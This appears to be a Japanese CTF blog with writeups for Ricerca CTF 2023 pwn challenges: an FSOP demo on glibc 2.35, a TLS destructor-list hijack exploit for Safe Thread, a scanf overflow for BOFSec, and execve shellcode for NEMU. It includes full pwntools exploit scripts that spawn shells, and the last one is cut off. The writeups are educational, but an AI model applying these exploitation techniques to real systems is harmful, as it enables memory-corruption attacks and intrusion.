writeUP ↑↑↑

勉強会やCTFのwriteupをのこす(つもり)

Ricerca CTF 2023 復習writeup - Oath-to-Order 前半(FSOP)

はじめに

今回はRicerca CTFのOath-to-Orderを復習したので記事にしました。最近のpwnの復習は、ソースをちゃんと追うと一日で終わんないんですよね。。。まあGWでもないとやらないのでちょうどよかったかなと。次回賞金でるCTFを見つけたときのためと思って頑張ります笑

ちなみにこの記事はm1z0r3メンバーの後輩君が書いてくれたwriteupをめちゃめちゃ参考にして書いています。ありがとうございます!

zenn.dev

FSOP

この問題は最終的にFSOP(File Streaming Oriented Programming)という手法でシェルをとるので、まずはGlibc 2.35におけるFSOPについて整理します。

他に調べてないので知りませんが、GLibc2.35では_IO_wfile_jumps.__overflowを使ってやるらしいです。

blog.kylebot.net

そこにたどり着く方法はいくつかありそうですが、この問題では最後に(また)exit()をトリガーにシェルを起動するのでその前提で整理していきます。

まず、exit()の処理をGDBで追っていくと、exit => __run_exit_handlers => _IO_cleanup => _IO_flush_all_lockpという順で_IO_flush_all_lockpにたどり着きます。

ここからはソースコードも見ていきましょう。

elixir.bootlin.com

int
_IO_flush_all_lockp (int do_lock)
{
.
.
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
.
.
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
    result = EOF;
.
.

fpには_IO_list_allから、_IO_2_1_stderr_, _IO_2_1_stdout_, _IO_2_1_stdin_が代入されます。これらはFILE構造体のポインタで定義されていますが、実体はFILE構造体と_IO_jump_tというvtableの構造体を組み合わせた構造体(_IO_FILE_plus)になっています。ちなみにstderrなどのグローバル変数_IO_2_1_stderr_へのポインタになってたりします(ただしFILE *で宣言されている)。この後、この構造体のメンバがたくさん出てくるので、複数タブでFile構造体と_IO_jump_t構造体のメンバを見ながら読むことをお勧めします。

elixir.bootlin.com

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};

そのうえで、ここではFILE構造体のポインタとして使われているので、1つ目のメンバであるfileを操作しています。その後を見ると、if文の条件を満たしたときに_IO_OVERFLOWマクロが呼ばれます。ちなみに条件はこんな感じです。

  • fp->mode <= 0 かつ fp->_IO_write_ptr > fp->_IO_write_base)または(fp->mode > 0かつfp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

攻撃のトリガーとなる_IO_OVERFLOWマクロを追ってみます。

elixir.bootlin.com

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
                + (THIS)->_vtable_offset)))

要するにfp->vtable->__overflow()を呼び出しているって感じですね。GDBで追うと_IO_2_1_stderr_.vtable->__overflowにはデフォルトでは_IO_new_file_overflow()が入っています。ここを_IO_wfile_overflowに書き換えておくことで攻撃につなげられます。_IO_wfile_overflow関数を見てみましょう。

elixir.bootlin.com

wint_t _IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
    {
      _IO_wdoallocbuf (f);
.
.

攻撃をトリガーするのは_IO_wdoallocbuf (f)です。ここでの条件は、

  • f->flags & (_IO_NO_WRITES | _IO_CURRENTLY_PUTTING (= 0x808)) == 0)かつ(f->_wide_data->_IO_write_base == 0

です(FLAGの値一覧)。では_IO_wdoallocbuf()を見ていきましょう。

elixir.bootlin.com

void _IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)

トリガーは_IO_WDOALLOCATE (fp)マクロです。ここの条件は、

  • fp->_wide_data->_IO_buf_base == 0)かつ(fp->_flags & _IO_UNBUFFERED(=0x2) == 0

です。_IO_WDOALLOCATE(FP)マクロの処理を追うのは大変ですが一応紹介します(ここからたどれます

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                      + offsetof(TYPE, MEMBER)))
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)

丁寧に追っていくとfp->_wide_data->_wide_vtable->__doallocate(fp)だとわかります。_wide_datastruct _IO_wide_dataという構造体なので、ここで紹介してきます。

elixir.bootlin.com

上記の__doallocateですが、呼び出し時に一切の書き換え検知機構がないことが今までの流れで分かるかと思います。つまり、攻撃時は偽のvtableを用意し、_IO_2_1_stderr_内の_wide_dataを偽のstruct _IO_wide_data構造体に書き換え、その書き換えた_wide_data->_wide_vtablevtable.__doallocate = systemになっている偽の構造体にすり替えることで、検知されることなくシェル起動に持っていけます。ちなみに引数はfpなので、((FILE *)fp)->flags"/bin/sh"を書き込んでおく必要があります。ただし、このままだと今まで出てきた条件を満たせません。

ここで、いったん _IO_flush_all_lockp()後の条件を確認しましょう。

if (fp->mode <= 0 & fp->_IO_write_ptr > fp->_IO_write_base
    || fp->mode > 0 & fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
  if (fp->flags & 0x80a == 0 & 
    fp->_wide_data->_IO_write_base == 0 & fp->_wide_data->_IO_buf_base == 0)
      fp->_wide_data->_wide_vtable->__doallocate(fp)

fp->flagsは引数も入れないといけないしどうすんだと思っていたんですが、fp->flagsにスペース文字(Asciiで0x20)を2文字分入れた" /bin/sh"を書き込めば条件を解決できます(後輩君のwriteup見てなるほど~となりました)。他の条件はそのまま満たすように値を調整し、実装してみた例がこちらです。

#include <stdio.h>
#include <stdlib.h>
typedef struct {
  FILE file;
  void *vtable;
} _IO_FILE_plus;

typedef struct{
  char other_pointer_padding[8*13];
  void* __doallocate;
} _IO_jump_t;

typedef struct
{
  wchar_t *_IO_read_ptr;        /* Current read pointer */
  wchar_t *_IO_read_end;        /* End of get area. */
  wchar_t *_IO_read_base;       /* Start of putback+get area. */
  wchar_t *_IO_write_base;      /* Start of put area. */
  wchar_t *_IO_write_ptr;       /* Current put pointer. */
  wchar_t *_IO_write_end;       /* End of put area. */
  wchar_t *_IO_buf_base;        /* Start of reserve area. */
  wchar_t *_IO_buf_end;         /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;       /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;     /* Pointer to first valid character of
                                   backup area */
  wchar_t *_IO_save_end;        /* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  //struct _IO_codecvt _codecvt;
  char _codecvt[112];           //struct _IO_codecvtの代わり

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
}_IO_wide_data;

int main()
{

  char *binsh = "  /bin/sh";
  _IO_wide_data* fake_wide_data = malloc(sizeof( _IO_wide_data));
  _IO_jump_t* fake_wide_vtable = malloc(sizeof( _IO_jump_t));

  *(long*)(&((_IO_FILE_plus*)stderr)->file._flags) = *(long*)binsh;
  ((_IO_FILE_plus*)stderr)->file._IO_read_ptr = *(long*)(binsh+8); //_flagにコピーでき
なかった残りを隣の領域にコピー
  ((_IO_FILE_plus*)stderr)->file._mode = 1;
  ((_IO_FILE_plus*)stderr)->file._wide_data = fake_wide_data;
  ((_IO_FILE_plus*)stderr)->vtable = (void*)stderr - (void*)0x45e0; //_IO_wfile_jumps>へのオフセット
  fake_wide_data->_IO_write_base = 0;
  fake_wide_data->_IO_write_ptr = 1;
  fake_wide_data->_IO_buf_base = 0;
  fake_wide_data->_wide_vtable = fake_wide_vtable;
  fake_wide_vtable->__doallocate = &system;
  exit(0);
  return 0;
}

このコードを実行すると、exit()実行時にシェルが起動します。この後のOath-to-Orderでは最終的にこの状態を目指して進んでいきます。

Ricerca CTF 2023 解けなかった問題の復習

はじめに

先週Ricerca CTFのBOFSec, NEMUのwriteupを書きました。今回は解けなかったSafe Threadのwriteupを書きます(Oath-to-Orderはまた今度)。最後に参考にさせていただいたwriteupを載せておきます。(書いていただいた方、ありがとうございます!)

Safe Thread

ソースコードはこれです。

#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>

pthread_t th;

#define read_n(buf, len)                              \
  {                                                   \
    ssize_t i, s;                                     \
    for (i = 0; i < len; i += s) {                    \
      s = read(STDIN_FILENO, buf + i, 0x40);          \
      if (s <= 0 || memchr(buf + i, '\n', s)) break;  \
    }                                                 \
  }

void *thread(void *_arg) {
  ssize_t len;
  char buf[0x10] = {};
  write(STDOUT_FILENO, "size: ", 6);
  read_n(buf, 0x10);
  len = atol(buf);
  write(STDOUT_FILENO, "data: ", 6);
  read_n(buf, len);
  exit(0);
}

int main() {
  alarm(180);
  pthread_create(&th, NULL, thread, NULL);
  pthread_join(th, NULL);
  return 0;
}

thread()がスレッドとして実行されています。thread()関数にがBOFがありますが、retする前にexit()が呼ばれて終わってしまうためROPにはつなげられません。この感じはどうやらexit()実行時に走る処理を書き換えるタイプの問題かなと予想ができます。では、exit()ソースコードを見てみましょう。 https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/exit.c#L141

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}

__run_exit_handlersの最初の方はこんな感じです。

void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();

__call_tls_dtorsという関数が呼ばれていますね。これも追ってみましょう。

cxa_thread_atexit_impl.c - stdlib/cxa_thread_atexit_impl.c - Glibc source code (glibc-2.35) - Bootlin

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
    l_tls_dtor_count decrement.  That way, we protect this access from a
    potential DSO unload in _dl_close_worker, which happens when
    l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}
libc_hidden_def (__call_tls_dtors)

tls_dtor_listがNULLでなければ追加の処理をするといった内容です。今回の問題はスレッドに関する問題なので、TLSがThread Local Storageのことだとすれば関係がありそうです。 __call_tls_dtorsアセンブリだとこうなっています。

   0x00007fc4ffd7ad60 <+0>:     endbr64
   0x00007fc4ffd7ad64 <+4>:     push   rbp
   0x00007fc4ffd7ad65 <+5>:     push   rbx
   0x00007fc4ffd7ad66 <+6>:     sub    rsp,0x8
   0x00007fc4ffd7ad6a <+10>:    mov    rbx,QWORD PTR [rip+0x1d301f]        # 0x7fc4fff4dd90
   0x00007fc4ffd7ad71 <+17>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007fc4ffd7ad75 <+21>:    test   rbp,rbp
   0x00007fc4ffd7ad78 <+24>:    je     0x7fc4ffd7adbd <__GI___call_tls_dtors+93>
   0x00007fc4ffd7ad7a <+26>:    nop    WORD PTR [rax+rax*1+0x0]
   0x00007fc4ffd7ad80 <+32>:    mov    rdx,QWORD PTR [rbp+0x18]
   0x00007fc4ffd7ad84 <+36>:    mov    rax,QWORD PTR [rbp+0x0]
   0x00007fc4ffd7ad88 <+40>:    ror    rax,0x11
   0x00007fc4ffd7ad8c <+44>:    xor    rax,QWORD PTR fs:0x30
   0x00007fc4ffd7ad95 <+53>:    mov    QWORD PTR fs:[rbx],rdx
   0x00007fc4ffd7ad99 <+57>:    mov    rdi,QWORD PTR [rbp+0x8]
   0x00007fc4ffd7ad9d <+61>:    call   rax
   0x00007fc4ffd7ad9f <+63>:    mov    rax,QWORD PTR [rbp+0x10]
   0x00007fc4ffd7ada3 <+67>:    lock sub QWORD PTR [rax+0x468],0x1
   0x00007fc4ffd7adac <+76>:    mov    rdi,rbp
   0x00007fc4ffd7adaf <+79>:    call   0x7fc4ffd5d370 <free@plt>
   0x00007fc4ffd7adb4 <+84>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007fc4ffd7adb8 <+88>:    test   rbp,rbp
   0x00007fc4ffd7adbb <+91>:    jne    0x7fc4ffd7ad80 <__GI___call_tls_dtors+32>
   0x00007fc4ffd7adbd <+93>:    add    rsp,0x8
   0x00007fc4ffd7adc1 <+97>:    pop    rbx
   0x00007fc4ffd7adc2 <+98>:    pop    rbp
   0x00007fc4ffd7adc3 <+99>:    ret

fsには何が入っているんでしょうか?この投稿によると、x86_64にはTLS(Thread Local Storage)のエントリが3つあり、そのうち2つはfsと`gs{を使ってアクセスができるとのことでしたが、メモリのどこにあるかはわかりませんでした。

writeupによるとスレッド用スタックはfsレジスタの指すTLSの下にあるので、BoFで書き換えできるとのことなので手動で探してみました。下記の長さで書き換えたとき、fs-0x58tls_dtor_listを書き換えることができます。(fs-0x58にあるとわかったのはmov rbp,QWORD PTR fs:[rbx]を実行したときのrbx`0x58だからです。)

    io.sendlineafter("size: ", "2010")
    io.sendlineafter("data: ", "a"*2010)

そして、tls_dtor_listを読み取るところまで進めましょう。

   0x00007fc4ffd7ad60 <+0>:     endbr64
   0x00007fc4ffd7ad64 <+4>:     push   rbp
   0x00007fc4ffd7ad65 <+5>:     push   rbx
   0x00007fc4ffd7ad66 <+6>:     sub    rsp,0x8
   0x00007fc4ffd7ad6a <+10>:    mov    rbx,QWORD PTR [rip+0x1d301f]        # 0x7fc4fff4dd90
   0x00007fc4ffd7ad71 <+17>:    mov    rbp,QWORD PTR fs:[rbx]
=> 0x00007fc4ffd7ad75 <+21>:    test   rbp,rbp

この時のrbpの値が0xa6161です。つまり、最初に入力できるバッファからtls_dtor_listのポインタ(fs-0x58)までのオフセットは2008だとわかり、そこを書き換えればdtor_listrbp)を自由に操作できます。dtor_listに入っているのは関数ポインタを含む構造体なんですが、関数ポインタの部分は__call_tls_dtors内部でPTR_DEMANGLE()というマクロによって変形された後に関数のアドレスにならないといけません。このマクロはこんな処理をしています。

ror $2*LP_SIZE+1, reg;              //LP_SIZE=8
xor __pointer_chk_guard_local(%rip), reg
   mov    rdx,QWORD PTR [rbp+0x18]
   mov    rax,QWORD PTR [rbp+0x0]
   ror    rax,0x11
   xor    rax,QWORD PTR fs:0x30
   mov    QWORD PTR fs:[rbx],rdx
   mov    rdi,QWORD PTR [rbp+0x8]
   call   rax

xor rax,QWORD PTR fs:0x30に注目してください。現時点でfsレジスタの指すTLSを書き換えることができるので、fs+0x30ソースコードでいう__pointer_chk_guard_local(%rip))は書き換えることができます。つまりrax=0であればfs+0x30の値の関数ポインタがそのままcallされます。ではどのアドレスに書き換えるのがいいでしょうか?

ここで、rsiの値を見てみましょう。

gef➤  x/gx $rsi
0x7f4c1bdaa838 <__exit_funcs>:  0x00007f4c1bdabf00

これはlibc内の値(libc+ 0x21af00)なので、リークできればLibc baseが求められそうです。なのでwrite()などの第二引数を読み出し元にする関数を使いたいですね。ということで、thread()内にジャンプしてwrite()を呼び出すところから実行させます。

   0x00000000004012c3 <+173>:   mov    edi,0x1
   0x00000000004012c8 <+178>:   call   0x4010b0 <write@plt>

PIE無効なのはこのためだったんですね。ではfs+0x30を0x4012c3に書き換えればよさそうです。write()のサイズ(rdx)はmov rdx,QWORD PTR [rbp+0x18]で指定できるので、tls_dtor_listは+0x18に何か書いてある適当なアドレスにしておけばよさそうです。ということで、この時点でのexploitを書いていこうと思ったんですが、これをそのまま再現するとこんなコードで引っかかります。

   0x7f7fcac19ae9 <__pthread_disable_asynccancel+9> mov    rax, QWORD PTR fs:0x100x7f7fcac19af2 <__pthread_disable_asynccancel+18> mov    BYTE PTR [rax+0x972], 0x0

つまりaddr+0x972が書き込み可能なアドレス(ここではaddr=0x404028)をfs+0x10に入れとけば大丈夫です。では、この時点でのexploitを書いてみましょう。

offset_tls_call_dtor = 2008
offset_fs = offset_tls_call_dtor+0x58
def gen_payload(dtor_list, fs=0, fs_30=0):
    payload = b"a"*offset_tls_call_dtor
    payload += p64(dtor_list)
    payload += b"\0"*0x50
    payload += p64(fs)
    payload += b"\0"*0x8
    payload += p64(0x404028-0x972)
    payload += b"\0"*0x18
    payload += p64(fs_30)
    return len(payload), payload


def exploit():
    size, payload = gen_payload(0x404004, fs_30=0x4012c3)
    io.sendlineafter("size: ", str(size))
    io.sendlineafter("data: ", payload)

    leak = io.recv(8)
    leak_offset = 0x21af00
    libc.address = u64(leak) - leak_offset
    print("libc base: ", hex(libc.address))

次はシェルの起動までもっていきます。手順はさっきと同じような感じで、__call_tls_dtors内のcall raxsyystem()を発火させます。 まずBOFtls_dtor_listの書き換えをします。2回目は書き込み先のアドレスをlibc baseのアドレスから計算できます(libc.address - 0x4288)。なので、ここにdtor_listの偽の構造体を作ってそれを登録させます。1回目と違うのが、thread+213readで読み込むとき、tls_call_listのポインタまでの距離が0x98バイト遠くなっているので気を付けます。

では、偽の構造体の中身はどうしたらよいでしょうか。一度dtor_list構造体の定義を見てみましょう。

https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/cxa_thread_atexit_impl.c#L81

  struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

__call_tls_dtorsソースコードと見比べつつdtor_listの使い方をまとめるとこうなります。

オフセット 使い方
+0x0 関数ポインタ(DEMANGLE前)
+0x8 call raxの第一引数
+0x10
+0x18 次のdtor_list へのアドレス

よって、こんな感じの方針で行けそうですね。

  • +0x10"/bin/sh"を書き込む
  • +0x8+0x10のアドレスを書き込む
  • +0x0にDEMANGLE前のsystem()のアドレスを書き込む

DEMANGLEの処理を抜き出すとこうなっています。

   0x00007fc4ffd7ad84 <+36>:    mov    rax,QWORD PTR [rbp+0x0]
   0x00007fc4ffd7ad88 <+40>:    ror    rax,0x11
   0x00007fc4ffd7ad8c <+44>:    xor    rax,QWORD PTR fs:0x30

つまり、DEMANGLE前の値は、

  • fs+0x30の値でXOR
  • その値を17bit左回転する

ことで作れます。fs+0x30は一回目のBOF0x4012c3を書き込んでいるのが残っているのでこれを使います。左17bitの回転は、pythonでは下位47bitを17bit左シフトした値と、元の値を47bit右シフト値とをORすることで再現できます

では最後に完成形のExploitを書いておきます。大方上の処理を実装しただけですが、system()のアドレスをそのまま書くとダメでした。理由はその後のdo_system()内で浮動小数レジスタの値をメモリにコピーするときに、アラインメントの問題が発生していたからでした。代わりにsystem+27のアドレスを使えばsub rsp, 8を避けられ、この問題が発生しなくなるのでそのようにしています。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
HOST = ""
PORT = 1337
# バイナリの使い分け
CHALL_BIN = "./chall"
CHALL_LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6"
context.terminal  = ['tmux', 'split-window', '-h']
context.log_level = "DEBUG"
gs = '''
b main
# b __call_tls_dtors
c
'''
# 問題バイナリはロードしておく
context.binary = ELF(CHALL_BIN, checksec=False)
elf = context.binary
libc = ELF(CHALL_LIBC, checksec=False)

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    elif args.LOCAL:
        return process([elf.path])
    else:
        return gdb.debug([elf.path], gdbscript=gs)

offset_tls_dtor_list = 2008
offset_fs = offset_tls_dtor_list+0x58

def unlock_pointer_chk(key, addr):
    xored = addr ^ key
    under_47 = 0x7fffffffffff & xored
    return (under_47 << 17) | (xored >> 47)


def gen_payload(prefix, dtor_list, fs_30=0):
    payload = b"a"*(offset_tls_dtor_list)
    payload += p64(dtor_list)
    payload += b"\0"*(offset_fs - len(payload))
    payload += b"fs+0x008" + b"fs+0x010"
    payload += p64(0x404028-0x972)
    payload += b"\0"*0x18
    payload += p64(fs_30)
    payload = prefix + payload
    return len(payload), payload


def exploit():
    thread_173 = 0x4012c3
    size, payload = gen_payload(b"", 0x404004, fs_30=thread_173)
    io.sendlineafter("size: ", str(size))
    io.sendlineafter("data: ", payload)

    leak = io.recv(8)
    leak_offset = 0x21af00
    libc.address = u64(leak) - leak_offset
    print("libc base: ", hex(libc.address))

    second_buf_addr = libc.address - 0x4288
    print("second_buf_addr: ", hex(second_buf_addr))
    fake_dtor_list = \
            p64(unlock_pointer_chk(thread_173, libc.symbols["system"]+27)) + \
            p64(second_buf_addr + 0x10) + b"/bin/sh\0"
    _, payload = \
            gen_payload(fake_dtor_list + b"p"*(0x98-len(fake_dtor_list)),\
            second_buf_addr)
    io.sendline(payload)

io = start()
exploit()
io.interactive()

終わりに

本当はOath-to-Orderもやろうと思っていたんですが、結構時間がかかってしまったのでいったんこれで形にしてします。ちゃんとGlibcソースコードを追ってpwnした経験が浅いので、今回はすごく丁寧に追ってみました。ちゃんとソースを追うと脆弱性発見力?Exploit力?が上がる気がしますね。Oath-to-Orderの方はまた別の機会にやろうと思います。それでは!

参考にしたwriteup

qwerty-po.github.io

Ricerca CTF 2023 参加記 - writeup

はじめに

何日ぶりだろう...てくらい久々にCTFをがっつりやりました。ていうのも最近お金がなくて、twitterをボケっと見てたら「日本の学生上位3チームには賞金が出ます!」というのにつられて始めました。しかも有名なリチェルカさんがやるってことだったので興味あったんですよね。ということで、この度は学内で有志を募って挑んでまいりました。

結果

いつも通り早稲田大学のチームm1z0r3で参加しました。結果は全体20位、日本の学生のみだと4位か5位でした。入賞は3位からだったので、もうちょっと頑張れば...と後悔の念が出てきます。まあチームとしても最近はあまり活動してなかったので、復活戦としてはまずまずじゃないかなあと思っています。僕は大体pwnかrevしかやらんのですが、今回このジャンルの問題が豊富でしたよね!(たぶんyudaiさんがいるから)。とてもよかったです。

できた問題は無念ながら

  • BOFSec
  • NEMU

だけでした。今日はとりあえずできた問題のwriteupだけ書きますが、来週くらいにできなかった問題の復習として

あたりのwriteupを書いてみようかなと思います。ということで上記の問題解けた方、writeupを残していただけると泣いて喜びます。

writeup

BOFSec(pwn, warmup)

初心者向けの問題です。 ソースコードmain()がこんな感じです

auth_t get_auth(void) {
  auth_t user = { .is_admin = 0 };
  printf("Name: ");
  scanf("%s", user.name);
  return user;
}

int main() {
  char flag[0x100] = {};
  auth_t user = get_auth();
  if (user.is_admin) {
    puts("[+] Authentication successful.");
    FILE *fp = fopen("/flag.txt", "r");
    if (!fp) {
      puts("[!] Cannot open '/flag.txt'");
      return 1;
    }
    fread(flag, sizeof(char), sizeof(flag), fp);
    printf("Flag: %s\n", flag);
    fclose(fp);
    return 0;
  } else {
    puts("[-] Authentication failed.");
    return 1;
  }
}

要約すると、main()4行目のif文でuser.is_adminが0じゃなければflagが出る、ということです。userauth_t型の定義はこれです。

typedef struct {
  char name[0x100];
  int is_admin;
} auth_t;

攻撃は

  • get_auth()内のscanf()で、0x100バイトを超える入力を入れる

だけで成功します。scanf()はフォーマットに"%s"を指定すると際限なく読み込みをしてしまうので、簡単にバッファオーバーフローが起きます。その結果、0x100を超える入力は、隣接しているis_adminを上書きしてしまいます。その結果、main()内のif文が真になりフラグが出力されるという流れになります。

コピペ用の攻撃コードです。python3 solver.pygdbが起動するので、初心者の方は処理を追ってみるといいかなと思います。

from pwn import *
HOST = "bofsec.2023.ricercactf.com"
PORT = 9001
CHALL_BIN = "./chall"
context.log_level = "DEBUG"
gs = '''
b main
c
'''

context.binary = ELF(CHALL_BIN, checksec=False)
elf = context.binary
libc = ELF(CHALL_LIBC, checksec=False)

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    elif args.LOCAL:
        return process([elf.path])
    else:
        return gdb.debug([elf.path], gdbscript=gs)

def exploit():
    io.sendline("a"*0x101)
    print()

io = start()
exploit()
io.interactive()

NEMU

個人的には初めての仮想VM的な問題でした。ここから何度がグッと上がります。

調査

checksecとか使うとスタック領域が実行可能になっているのが分かります。ということは、攻撃のゴールはシェルコードを実行させることです。まずはどんなバイナリか見ていきます。

Welcome to NEMU!
We now only have following 6 instructions:
     1) LOAD [imm]: Load value [imm] into ACC register
     2) MOV  [reg]: Copy data stored in AC register into [reg] register
     3) INC  [reg]: Increment the value stored in [reg] register
     4) DBL  [reg]: Double the value stored in [reg] register
     5) ADDI [imm]: Add value [imm] to the value of ACC register
     6) ADD  [reg]: Add value stored in [reg] register to the value of ACC register
Current register status: 
REG1(r1): 0x00000000
REG2(r2): 0x00000000
REG3(r3): 0x00000000
 ACC(r0): 0x00000000

実行するとこんな出力が出ます。どうやら簡易的な命令とレジスタをエミュレートするプログラムのようです。使うときはopcodeの番号と、operand(即値は#レジスタrをつけて書く)を入力すると実行されます。以下は#5ACCにロードさせた例です。

opcode: 1
operand: #5
Current register status: 
REG1(r1): 0x00000000
REG2(r2): 0x00000000
REG3(r3): 0x00000000
 ACC(r0): 0x00000005

僕はとりあえずなんも考えずに触っていたらバグを見つけました。こんな命令を実行しました。

LOAD #5
MOV r1
ADD r1

実行すると、こんな状態になります。

Current register status: 
REG1(r1): 0x0000007d
REG2(r2): 0x00000000
REG3(r3): 0x00000000
 ACC(r0): 0x00000082

ADDはoperandのレジスタACCに加える命令なので、r1=5, ACC=10になっているのが正解です。しかし、実際にはACCREG1もおかしな値になっていますね。ここで、GDBを使って中で何が起こっていたかを見てみましょう。まず、main()に入ってすぐのスタックの状態がこんな感じです。

ここで、LOAD #5を実行するとこうなります(ACCに書き込まれます)

次にMOV r1を実行するとこうなります。(r1にコピーされます)

ソースコードではレジスタmain()のローカル変数として定義されています。つまりスタック上に確保されます。

int main() {
  void *op_fp, *read_fp;
  uint64_t operand;
  int32_t r1 = 0, r2 = 0, r3 = 0, a = 0;

これと見比べても、ここらへんの領域がレジスタの値を保持しているようです。(別の実行時に取ったスクショです。。右上がACC、左上r3、右下r2、左下r1

では、ADD r1が実行されるとどうなるでしょうか?実行を丁寧に追っていくと、こんなコードを実行しているのがわかります。

なにやら、raxの参照先にraxの下位1バイトを加算していますね。この時のraxの値はr1のアドレスなので、この命令のせいでr1ACCの値がおかしくなっているのだなとわかります。実はこの命令、0x0000を命令と解釈したものなので、何かバグが起きているのではないかな?と気づけます。ここでripのアドレスをよく見てみると、スタック領域でかつr1のすぐ下のアドレスであることがわかります。実はこの領域、もともとは命令が書いてあったんですが、MOV r1r1に書き込んだときに0x00000000が書き込まれてしまっているんです。少し前のスクショを見てもらうとわかるかと思います。

ここまででわかったことをまとめます。

  • スタックは実行可能になっている
  • レジスタはスタック領域に格納されている
  • r1の上の領域はバグが起こせる
  • ADD命令で、r1の上の領域の命令を実行できる

これらを総合すると以下のようなシナリオが考えられます。

  • レジスタ命令を書き込んで、スタック内でシェルコードを完成させる
  • r1の上の領域にシェルコードのエントリを書き込む(シェルコード本体へのジャンプ)
  • ADD命令で発火

Exploit

まずは命令を好き放題書き込むことが可能なのか考えてみます。MOV命令はバグにより上位4バイトを符号拡張した8バイト単位でコピーします。しかし、これだけでは何もできないのでDBL命令を使います。この命令も8バイト単位で値を2倍します。2倍するというのは左シフト1回分に等しいので、r1に書き込んだ値を32回2倍すればr1の上の領域に書き込むことができます。それ以外の領域はMOV命令のバグに気を付けつつ左シフトを駆使することで、好きな値を書き込むことができます。

しかし、書き込める領域がすごい小さいんですよね。。。これがこの問題の悩みどころでした。一般にシェルコードの目的は、execve("/bin/sh", NULL, NULL);を実行することなので、アセンブリではこのように書きます。

mov rax, 59  ; syacall命令実行時にexecveを呼ぶよう指定
mov rdi "/bin/sh"  ; 第1引数
mov rsi, 0  ; 第2引数
mov rdx, 0  ; 第3引数
syscall  ; execve("/bin/sh", NULL, NULL);

db: 
   "/bin/sh"

もちろん"/bin/sh"もバイナリとして書き込む必要があります。これが結構スペースを食うんですよね。ということで、どうしたら短縮できるかを考えます。

もし第二引数(rsi)と第三引数(rdx)がもともと0(NULL)ならmov rsi, 0とかはいらなくなります。実際にADD命令実行時のx86_64のレジスタを見てみると、こうなっています。

何と0になっていますね!これで何とか書けそうです。ちなみにrdiもスタック領域を指しているので、movするよりsubで減算させた方が使うメモリが少なく済みます。最後にmov rax, 59ですが、push 59; pop raxにすると3バイトで済ませることができます。また、push 59の方は2バイトなので、r1の上にjmp命令の前に書き込むこともできます。これらの工夫をした結果、シェルコードはこんな感じになりました。

head: 
  pop rax
  sub rdi, 0x4
  syscall
  0x00
  "/bin/sh"
  0x00
  push 59 ; ←ADD命令後、ここから実行が始まる
  jmp head

このExploitコードを実行するといい感じにスタック上にシェルコードを配置してくれます。

# -*- coding: utf-8 -*-
from pwn import *
HOST = "nemu.2023.ricercactf.com"
PORT = 9002

CHALL_BIN = "./chall"
CHALL_LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6"
#context.terminal  = ['tmux', 'split-window', '-h']
context.log_level = "DEBUG"
gs = '''
b *(&main+0x3b2)
c
'''

context.binary = ELF(CHALL_BIN, checksec=False)
elf = context.binary
